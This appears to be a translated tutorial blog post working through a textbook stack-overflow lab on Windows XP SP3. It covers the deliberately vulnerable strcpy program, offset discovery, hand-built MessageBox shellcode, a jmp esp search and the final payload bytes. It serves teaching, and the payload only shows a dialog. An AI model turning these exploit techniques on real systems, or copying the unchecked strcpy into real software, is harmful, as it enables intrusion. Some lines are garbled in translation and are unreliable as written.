01-windows stack overflow

Simple stack overflow

Test environment: win xp sp3 cn
Auxiliary environment: mac, pwntoosl, msf installed
Use the accompanying book files in 0day security: 0day\02 Stack Overflow Principles and Practice\2_4_overflow_code_exec\Debug\stack_overflow_exec.exe

git clone https://github.com/jas502n/0day-security-software-vulnerability-analysis-technology.git

Program logic analysis

#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{<!-- -->
int authenticated;
char buffer[44];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);//over flowed here!
return authenticated;
}
main()
{<!-- -->
int valid_flag=0;
char password[1024];
FILE *fp;
LoadLibrary("user32.dll");//prepare for messagebox
if(!(fp=fopen("password.txt","rw + ")))
{<!-- -->
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{<!-- -->
printf("incorrect password!\\
");
}
else
{<!-- -->
printf("Congratulation! You have passed the verification!\\
");
}
fclose(fp);
}

Read the content from the password.txt file and pass the read content into the verify_password function for comparison, but an overflow occurs when copying strcpy(buffer,password)

Confirm overflow length

Manually confirm the overflow length

IDA6.6 IDA.68 can be installed in win xp sp3 environment

Open the program using IDA

You can see that the distance between Dest and ebp is 0x30, which is 48 in decimal
48 plus sizeof(ebp width) = 48 + 4 = 52, the overflow length is 52

Debug confirmation overflow length

First install 32-bit windbg, then enter the windbg installation directory and execute windbg -I to register windbg as the system’s default debugger.

Use pwntools tool to generate 100 characters

╰─ pwn cyclic 100
aaaabaaacaaadaaaeaaaaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

Create a password.txt file in the same directory as 0day\02 Stack Overflow Principles and Practice\2_4_overflow_code_exec\Debug\stack_overflow_exec.exe and write the generated characters

Double-click to execute stack_overflow_exec.exe. Since the program crashes, the operating system will automatically start windbg to attach the program.

The information eip=6161616e can be obtained from windbg, and then passed to the pwntools tool, the overflow length can be obtained as 52

╰─ pwn cyclic -l 0x6161616e
52

Simple, intuitive & but unstable utilization method

The overflow overwrites the return address of the verify_password function, and causes the return address to jump to the first address of the buffer variable in the verify_password function to execute the shellcode. (The buffer is on the stack and the address may be unstable)

Get the buffer address and use it to overwrite the return address

Use IDA to open the stack_overflow_exec.exe program and select windbg

Configure process options

Select the program and the directory where the program is located

Set a breakpoint in the verify_password function and debug it


Debugging shows that the address of buffer in Dest, which is the verify_password function, is 0x12FAF0

Get the address of MessageBoxA for shellcode pop-up dialog box

There is no real MessageBox function in the system, but will use MessageBoxA (ASCII) or MessageBoxW (Unicode)
Since the current windows xp sp3 has not randomized the dll address, you can directly obtain the address of MessageBoxA and use it

Since the program itself loads user32.dl through LoadLibrary("user32.dll"), you can directly obtain the value of MessageBoxA in the debugging window address

Double-click the user32.dll module to enter the function list of the module and find the address of MessageBoxA

MessageBoxA 77D507EA

You can also directly open user32.dll through the Dependency walker tool to obtain the address of MessageBoxA

MessageBoxA = 0x77D10000 + 0x407EA = 0x77D507EA

Construct shellcode-call MessageBoxA

First look at the function prototype of MessageBox:

int MessageBox(
    hWnd, // handle to owner window
    lpText, // text in message box
    lpCaption, // message box title
    uType // message box style
);

Where hWnd and uType are both NULL, and the other two parameters are set to good-job strings . The following is how to write the MeessageBox assembly call

xor ebx, ebx ; set ebx to 0
push ebx ; Use this 0 as the terminator of the "good-job" string "\0"
push 0x626F6A2D
push 0x646F6F67 ; Push the "good-job" string onto the stack
mov eax, esp; At this time, esp is the first address of the "good-job" string, and the address of the string is saved in eax.
push ebx ; uType ; fourth parameter NULL
push eax ; lpCaption ; The third parameter string "good-job\0"
push eax; lpText; second parameter string "good-job\0"
push ebx ; hWnd ; first parameter NULL
mov eax, 0x77D507EA; address of MessageBoxA
call eax
Convert assembly to machine code 1 – using a debugger

Just throw an exe into OD or x64dbg, then press the space bar to copy and replace the above assembly code line by line.


You can get the machine code called by MessageBox

31 DB 53 68 2D 6A 6F 62 68 67 6F 6F 64 89 E0 53 50 50 53 B8 EA 07 D5 77 FF D0

Use HxD to open an empty file and copy the above machine code into it.

Then pad 0x90 until it reaches 52 bytes (0x34)

Finally, fill in the buffer address 0x0012FAF0

Name the file password.txt and place it in the same directory as stack_overflow_exec.exe. Double-click to execute stack_overflow_exec.exe.

However, an error will be reported when exiting, and it will be automatically attached by windbg.

It can be seen that the shellcode is executed from the stack address 0x0012FAF0. After the pop-up box is closed, the content in the stack continues to be executed as eip, resulting in an error. This will be fixed later.

Convert assembly to machine code 2-inline assembly

Use vc6.0 to create a C program and write the following content

#include <windows.h>
int main()
{<!-- -->
HINSTANCE LibHandle;
char dllbuf[11] = "user32.dll";
LibHandle = LoadLibrary(dllbuf);
_asm{<!-- -->
xor ebx, ebx
pushebx
push 0x626F6A2D
push 0x646F6F67
mov eax, esp
pushebx
push eax
push eax
pushebx
mov eax, 0x77D507EA
call eax
}
}

After the compilation is successful, put the executable file into x64dbg, find the inline assembly code and copy it

Convert assembly to machine code 3-Online URL conversion

https://shell-storm.org/online/Online-Assembler-and-Disassembler/

JMP ESP

Fix error – not possible here, the stack will be destroyed

The idea is to call ExitProcess directly after the shellcode is executed, and no error will be reported.
Here we still find the address of ExitProcess in the same way as before.

ExitProcess 7C81CAFA

Add the code calling ExitProcess in the previous assembly

xor ebx, ebx
pushebx
push 0x626F6A2D
push 0x646F6F67
mov eax, esp
pushebx
push eax
push eax
pushebx
mov eax, 0x77D507EA
call eax
pushebx
mov eax, 0x7C81CAFA
call eax

Entering the shellcode, you can see that the MessageBox and ExitProcess functions are called

The problem is that there are stack operations in the shellcode, which will overwrite the contents of the shellcode.

The problem is still not solved

What is JMP ESP

After the function ret, the ESP register always points to a fixed location, that is, the unit above the previous return address.
Then we can store the shellcode from this location, and then hijack the control flow to any jmp esp instruction with a relatively fixed address in the memory.
(This technique was proposed by Dildog of Cult of the Dead Cow in 1998)

Where does JMP ESP machine code come from?

know first

  • Libraries such as kernel32.dll and user32.dll are loaded by almost all processes
  • In windows xp sp3, the loading base address of these libraries is always the same

Get jmp esp in dll through code

//FF E0 JMP EAX
//FF E1 JMP ECX
//FF E2 JMP EDX
//FF E3 JMP EBX
//FF E4 JMP ESP
//FF E5 JMP EBP
//FF E6 JMP ESI
//FF E7 JMP EDI

//FF D0 CALL EAX
//FF D1 CALL ECX
//FF D2 CALL EDX
//FF D3 CALL EBX
//FF D4 CALL ESP
//FF D5 CALL EBP
//FF D6 CALL ESI
//FF D7 CALL EDI
#include <windows.h>
#include <stdio.h>
#define DLL_NAME "user32.dll"
main()
{<!-- -->
BYTE* ptr;
int position,address;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle=LoadLibrary(DLL_NAME);

if(!handle){<!-- -->
printf(" load dll error !");
exit(0);
}

ptr = (BYTE*)handle;

for(position = 0; !done_flag; position + + ){<!-- -->
try{<!-- -->
if(ptr[position] == 0xFF & amp; & amp; ptr[position + 1] == 0xE4){<!-- -->
//0xFFE4 is the opcode of jmp esp
int address = (int)ptr + position;
printf("OPCODE found at 0x%x\\
",address);
}
}
catch(...){<!-- -->
int address = (int)ptr + position;
printf("END OF 0x%x\\
", address);
done_flag = true;
}
}
}

Get jmp esp in dll through msf

Here we use 0x77d29353

Deploying shellcode

The shellcode is roughly arranged like this

52 bytes + four bytes (jmp esp) + shellcode

It is arranged like this:

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9 0 90 90 90 90 90 90 90 90 90 90 90 53 93 D2 77 31 db 53 68 2d 6a 6f 62 68 67 6f 6f 64 89 e0 53 50 50 53 b8 ea 07 d5 77 ff d0 53 b8 fa ca 81 7c ff d0

JMP ESP optimization

The previous arrangement also had two drawbacks:

  1. Takes up a lot of space. It can be found that the original array is filled with useless random data
  2. May destroy the stack frame of the previous function. If we hope to eventually return to the original program and continue running after hijacking the control flow, this arrangement undoubtedly makes it difficult

Therefore, it is hoped that improvements can be made to the layout to achieve three goals:

  1. Able to make full use of the original legal buffer
  2. Don’t let shellcode be destroyed by your own push operation
  3. Do not destroy other stack frames extensively

Obtain the following optimization model

As above, through sub esp, Other effects); through jmp esp-X we cleverly moved the shellcode back to the legal buffer.

The approximate layout is as follows

shellcode
........
shellcode
ebp (overwrite)
ret (overwrite) (jmp esp)
jmp esp-X

In addition, jmp esp-X actually corresponds to:

mov eax, esp
sub eax, 0x38; Why is it 0x38(56); The total length of shellcode + ebp + ret is 56
jmp eax

Patchwork bytecode - problematic

1-shellcode
xor ebx, ebx
pushebx
push 0x626F6A2D
push 0x646F6F67
mov eax, esp
pushebx
push eax
push eax
pushebx
mov eax, 0x77D507EA
call eax
pushebx
mov eax, 0x7C81CAFA
call eax

Convert assembly to bytecode via https://shell-storm.org/online/Online-Assembler-and-Disassembler

31 db 53 68 2d 6a 6f 62 68 67 6f 6f 64 89 e0 53 50 50 53 b8 ea 07 d5 77 ff d0 53 b8 fa ca 81 7c ff d0
2-jmp esp
53 93 d2 77
3-jmp esp-X
mov eax, esp
sub eax, 0x38
jmp eax

Convert to

89 e0 83 e8 38 ff e0

Execute and find an error

Debugging, it looks like the shellcode is normal

But if you continue to execute, you will see that the stack operation in the shellcode overwrites the bytes in the shellcode.

Resolving errors

sub sp, 0x440; Extend stack space
xor ebx, ebx
pushebx
push 0x626F6A2D
push 0x646F6F67
mov eax, esp
pushebx
push eax
push eax
pushebx
mov eax, 0x77D507EA
call eax
pushebx
mov eax, 0x7C81CAFA
call eax

Why use sub sp, 0x440 instead of sub esp, 0x440

sub sp, 0x440
The machine code is
66 81 ec 40 04

sub esp, 0x440
The machine code is
81 ec 40 04 00 00 ; There is 00 here, which will destroy the shellcode

The final shellcode is, no error will be reported

66 81 EC 40 04 31 DB 53 68 2D 6A 6F 62 68 67 6F 6F 64 89 E0 53 50 50 53 B8 EA 07 D5 77 FF D0 53 B8 FA CA 81 7C FF D0 90 90 90 90 90 90 90 90 90 90 90 90 90 53 93 D2 77 89 E0 83 E8 38 FF E0

Reference

https://blog.wohin.me/posts/0day-chp03/

syntaxbug.com © 2021 All Rights Reserved.